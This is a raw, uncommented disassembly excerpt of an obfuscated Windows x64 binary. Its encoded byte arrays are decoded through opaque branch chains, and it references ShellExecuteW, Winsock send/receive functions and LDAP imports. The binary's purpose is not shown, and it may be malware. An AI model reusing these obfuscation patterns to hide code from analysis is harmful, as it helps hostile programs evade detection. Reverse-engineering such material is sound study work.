lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400dc620
lea ecx, [rsi + 0x36]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x7a
cmp r9, 9
jb 0x1400dc346
lea ecx, [rsi - 0xe]
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea r10d, [rcx*2 - 0x3c]
jmp 0x1400dc795
lea edx, [rsi + 0x3a]
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + rsi + 0xb0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc092
lea edx, [rsi + 0x68]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400dc7f5
lea ecx, [rsi - 0x24]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 4
jmp 0x1400dc6eb
lea ecx, [rsi + 0x50]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x30
inc r9
dec rsi
inc rsi
jmp 0x1400dc092
lea ecx, [rsi + 0xa]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x46
jmp 0x1400dc795
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400dc4b5
lea ecx, [rsi - 0x5d]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x75
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x1400dc70d
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x1400dc58e
lea ecx, [rsi - 0x29]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x1f
jmp 0x1400dc36b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc4e9
lea ecx, [rsi - 0x42]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x32
movzx eax, byte [rbp + rsi + 0xb0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc092
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc50c
lea ecx, [rsi + 0x4a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 6
jmp 0x1400dc823
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc534
lea edx, [rsi + 0x1c]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400dc6eb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dc562
lea edx, [rsi + 0x62]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec rsi
inc rsi
jmp 0x1400dc092
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dc47e
lea edx, [rsi - 0x12]
movzx eax, dl
and al, dil
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400dc795
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc5b1
lea ecx, [rsi + 0x1d]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x35
jmp 0x1400dc795
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc5da
lea ecx, [rsi - 0x57]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x61
dec rsi
inc rsi
jmp 0x1400dc092
cmp r8, rcx
jne 0x1400dc5f9
lea ecx, [rsi + 0x35]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x73
jmp 0x1400dc7f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc36b
lea ecx, [rsi + 0x7b]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x5d
jmp 0x1400dc7f5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc654
lea ecx, [rsi + 0x7c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x64
movzx eax, byte [rbp + rsi + 0xb0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc092
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc677
lea ecx, [rsi + 0x4e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x22
jmp 0x1400dc7f5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc69c
lea edx, [rsi - 0x26]
movzx eax, dl
and al, dil
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400dc6eb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400dc397
lea edx, [rsi + 0x20]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec rsi
inc rsi
jmp 0x1400dc092
lea edx, [rsi + 0x38]
movzx eax, dl
and al, dil
movzx ecx, byte [rbp + rsi + 0xb0]
sub cl, al
add cl, 0x3c
lea r10d, [rcx + rcx]
add r10b, dl
lea ecx, [rsi - 0x25]
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 3
add cl, dil
add cl, r10b
mov byte [rbp + rsi + 0xb0], cl
jmp 0x1400dc7f2
lea ecx, [rsi + 0x7e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rcx - 0x72]
jmp 0x1400dc823
lea ecx, [rsi - 0x43]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x2b
jmp 0x1400dc7f2
lea ecx, [rsi + 0x31]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x57
dec rsi
inc rsi
jmp 0x1400dc092
lea ecx, [rsi - 0x15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x6d
inc r9
dec rsi
inc rsi
jmp 0x1400dc092
lea ecx, [rsi - 0x5b]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x7d
lea ecx, [rsi - 0x6b]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x13
add cl, dil
mov byte [rbp + rsi + 0xb0], cl
inc r9
dec rsi
inc rsi
jmp 0x1400dc092
lea ecx, [rsi - 0x73]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x25
dec rsi
inc rsi
jmp 0x1400dc092
lea ecx, [rsi + 1]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 7
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400dc092
add rcx, rsi
and dl, cl
add dl, dl
movzx r10d, dil
sub r10b, dl
sub r10b, 0x33
add r10b, cl
lea edx, [rsi + 0x21]
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x19
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xb0], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x1400dc864
lea rcx, [rsi + r11]
and dl, cl
add dl, dl
movzx r10d, dil
sub r10b, dl
sub r10b, 0x49
add r10b, cl
lea ecx, [rsi - 0x3c]
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x5c
add dil, cl
mov byte [rbp + rsi + 0xb0], dil
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xb0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc092
lea rcx, [rsi + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x5f
movzx eax, byte [rbp + rsi + 0xb0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc092
sub sil, 0x51
movzx eax, dil
and al, sil
add al, al
sub dil, al
lea r10d, [rsi + rdi]
add r10b, 0x37
jmp 0x1400dc08e
add sil, 0x69
movzx eax, dil
and al, sil
add al, al
sub dil, al
lea r10d, [rsi + rdi]
add r10b, 0x21
jmp 0x1400dc07e
lea rax, [rbp + 0x1505a34]
jmp 0x1400dc925
lea rax, [rbp + 0x43cbd7]
jmp 0x1400dc925
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xd0]
call fcn.140025300
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xf0]
call fcn.140024050
lea rcx, [rbp + 0xf0]
call fcn.140024810
mov dword [rsp + 0x28], r14d
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r15
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xf0]
call fcn.1400247a0
nop
lea rcx, [rbp + 0xd0]
call fcn.1400247a0
nop
lea rcx, [rbp + 0x70]
call fcn.1400247a0
nop
lea rcx, [rbp - 0x58]
call fcn.1400247a0
lea rcx, [0x1402e2fe0]
call fcn.1400f9900
cmp byte [0x1402e3210], bl
jne 0x1400dd598
lea rcx, [0x1402e2fe0]
call fcn.1400f56c0
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x110], Ordinal_32
mov byte [rbp + 0x111], 1
mov byte [rbp + 0x112], Ordinal_211
mov byte [rbp + 0x113], 0xaf
mov byte [rbp + 0x114], 0xc1
mov byte [rbp + 0x115], 0x51
mov byte [rbp + 0x116], 0x53
mov byte [rbp + 0x117], 0x52
mov byte [rbp + 0x118], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x119], 0xf9
mov byte [rbp + 0x11a], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x11b], xmm0
mov dword [rbp + 0x12b], eax
mov byte [rbp + 0x12f], al
movabs r14, 0x763e244f39a32cfb
movabs r15, 0x282f46c906bc94d3
movabs r13, 0x3bb2fe2a93763add
movabs r12, 0x62ba6cedace986f1
movzx r10d, byte [rbp + 0x3c0]
nop dword [rax + rax]
mov r9, qword [0x1402e3348]
mov r8, qword [0x1402e3350]
nop
cmp rbx, 0x20
jae 0x1400dd563
movzx r11d, byte [rbp + rbx + 0x110]
mov rdx, r11
cmp r9, rbx
ja 0x1400dd55a
lea rcx, [r8 + 1]
cmp r9, rcx
jae 0x1400dcac3
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
movzx r10d, dl
sub r10b, al
add r10b, 0x23
add r10b, cl
jmp 0x1400dcb00
je 0x1400dd4ee
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400dd46e
lea rax, [rcx + 1]
cmp r9, rax
je 0x1400dd440
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400dd406
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400dd3c9
nop dword [rax]
cmp r8, rbx
ja 0x1400dd551
lea rax, [r8 + 8]
cmp r9, rax
jae 0x1400dcb2b
lea r10d, [rbx - 0x69]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x21
add r10b, r11b
jmp 0x1400dcb60
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400dd3b2
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400dd392
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400dd378
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400dd35e
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400dd0b8
nop dword [rax]
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x1400dd099
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x1400dd071
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x1400dd051
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400dd037
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400dd015
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400dcff6
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400dcfdc
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x1400dcfc2
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400dcf92
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x1400dcb70
lea r9, [r8 + 0x28]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x1400dd535
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x1400dd519
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x1400dcd5e
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400dcd42
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400dcd27
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400dcf48
lea rax, [r8 + 6]
cmp r9, rax
jb 0x1400dcefd
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1400dcec5
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x1400dcea0
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400dcb70
lea r9, [r8 + 3]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 8]
cmp r9, rax
ja 0x1400dce75
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x1400dce56
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x1400dce37
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x1400dce1d
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x1400dce00
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400dcde1
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400dcdbb
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x1400dcd96
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1400dcd7a
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x1400dcb70
lea r9, [r8 + 3]
lea r8, [r9 + 0x40]
jmp 0x1400dcb70
lea r10d, [rbx + 0x49]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
inc r10b
add r10b, r11b
jmp 0x1400dcb60
lea r10d, [rbx + 0x53]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x45
add r10b, r11b
jmp 0x1400dcb00
lea r10d, [rbx + 0x5d]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x75
add r10b, r11b
jmp 0x1400dca93
lea r10d, [rbx - 0x48]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 8
add r10b, r11b
jmp 0x1400dd3de
lea r10d, [rbx - 0x3e]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4e
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x1400dca80
lea ecx, [rbx - 0x34]
movzx eax, cl
and al, r11b
mov r10d, gethostname
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400dca80
lea edx, [rbx - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dd41b
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
add r9, r8
jmp 0x1400dd455
lea ecx, [rbx - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x1400dd455
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dd488
lea edx, [rbx - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dd4ae
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0x110]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400dca80
lea ecx, [rbx + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x19
mov byte [rbp + rbx + 0x110], r10b
inc rbx
jmp 0x1400dca80
lea ecx, [rbx + 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
cmp r8, 0x2a
jb 0x1400dceb5
lea ecx, [rbx + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x1c]
jmp 0x1400dd3de
lea ecx, [rbx + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
cmp r9, 0x2a
jae 0x1400dd321
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x1400dd278
lea edx, [rbx + 0x66]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dceda
lea ecx, [rbx + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x1400dd348
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x1400dd1b2
lea ecx, [rbx - 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
jmp 0x1400dcf12
lea edx, [rbx - 0x76]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x110]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400dca80
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400dd4ae
lea ecx, [rbx - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
jmp 0x1400dd488
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dd455
lea edx, [rbx - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r9, r8
jmp 0x1400dd455
lea ecx, [rbx - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x1400dd41b
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
dec rbx
inc rbx
jmp 0x1400dca80
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x1400dca80
lea edx, [rbx - 0x26]
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dd3de
lea rax, [r8 + 0x40]
cmp r9, rax
jae 0x1400dd0db
lea ecx, [rbx - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
jmp 0x1400dcf5d
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400dd10f
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
movzx eax, byte [rbp + rbx + 0x110]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400dca80
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400dd135
lea ecx, [rbx + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
add r9, r8
jmp 0x1400dd455
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400dd15d
lea edx, [rbx - 4]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dd41b
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400dd18b
lea edx, [rbx - 0xe]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400dca80
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400dcf5d
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x1400dd3de
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400dd1d5
lea ecx, [rbx - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
jmp 0x1400dd3de
inc rax
cmp r9, rax
jne 0x1400dd1fa
lea ecx, [rbx - 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
add r9, r8
jmp 0x1400dd455
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400dd21d
lea ecx, [rbx - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 5
jmp 0x1400dd455
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400dd240
lea ecx, [rbx - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x1400dd488
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400dcf12
lea ecx, [rbx + 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
movzx eax, byte [rbp + rbx + 0x110]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400dca80
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400dd2b1
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x110]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400dca80
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400dd2d7
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
add r9, r8
jmp 0x1400dd455
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400dd2fa
lea ecx, [rbx + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x1400dd41b
lea rax, [r8 + 8]
cmp r9, rax
jne 0x1400dceda
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400dd3de
lea edx, [rbx - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x110]
add r10b, dl
add r10b, r11b
jmp 0x1400dd41b
lea ecx, [rbx - 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [rcx + 0x7e]
jmp 0x1400dd488
lea ecx, [rbx + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
jmp 0x1400dd4ae
lea ecx, [rbx + 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
jmp 0x1400dd41b
lea ecx, [rbx + 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
dec rbx
inc rbx
jmp 0x1400dca80
lea ecx, [rbx - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
jmp 0x1400dd3de
lea ecx, [rbx - 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
lea ecx, [rbx - 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x15
add cl, r11b
mov byte [rbp + rbx + 0x110], cl
inc r8
dec rbx
inc rbx
jmp 0x1400dca80
lea ecx, [rbx - 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x39
lea edx, [rbx - 0xd]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x5b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x110], cl
add r9, r8
jmp 0x1400dd455
lea rcx, [rbx + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x3b
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400dca80
lea rcx, [rbx + r13]
movzx r11d, dl
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0xb
add r10b, cl
lea ecx, [rbx - 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x5f
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x110], al
inc r8
add rax, r8
sub rbx, rax
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r11b
mov byte [rbp + rbx + 0x110], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x110]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400dca80
lea rcx, [rbx + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x69
movzx eax, byte [rbp + rbx + 0x110]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400dca80
add bl, 0x67
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
add r10b, 0x2f
xor ebx, ebx
jmp 0x1400dca80
add bl, 0x71
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x17
xor ebx, ebx
jmp 0x1400dca70
lea rdx, [rbp + 0x16239b4]
jmp 0x1400dd56a
lea rdx, [rbp + 0x14566af]
jmp 0x1400dd56a
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.14003f8d0
mov rcx, rax
lea rdx, [0x1402e3218]
call fcn.1400e8660
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400c8870
lea rcx, [0x1402e2fe0]
call fcn.1400f56c0
mov byte [rbp + 0x130], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x131], 0x88
mov byte [rbp + 0x132], 0xa
mov byte [rbp + 0x133], Ordinal_32
mov byte [rbp + 0x134], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x135], 0x88
mov byte [rbp + 0x136], 8
mov byte [rbp + 0x137], reloc.WS2_32.dll_ntohs
xor eax, eax
mov qword [rbp + 0x138], rax
mov dword [rbp + 0x140], eax
mov byte [rbp + 0x144], al
movabs rsi, 0x3ec927d0eb8e7bad
movabs r14, 0x3512665848025915
movabs r15, 0xbc5b7772c2ab7307
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, rbx
cmp rdi, 0x15
jae 0x1400de195
movzx ebx, byte [rbp + rdi + 0x130]
mov rdx, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400de18c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dd67c
lea rcx, [rdi + rsi]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x45
jmp 0x1400dd6b0
je 0x1400de11e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400de0f0
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400de0ad
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400de08e
nop dword [rax]
cmp r9, rdi
ja 0x1400de183
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400dd6d8
lea ecx, [rdi + 0x31]
movzx eax, cl
and al, bl
add al, al
sub cl, al
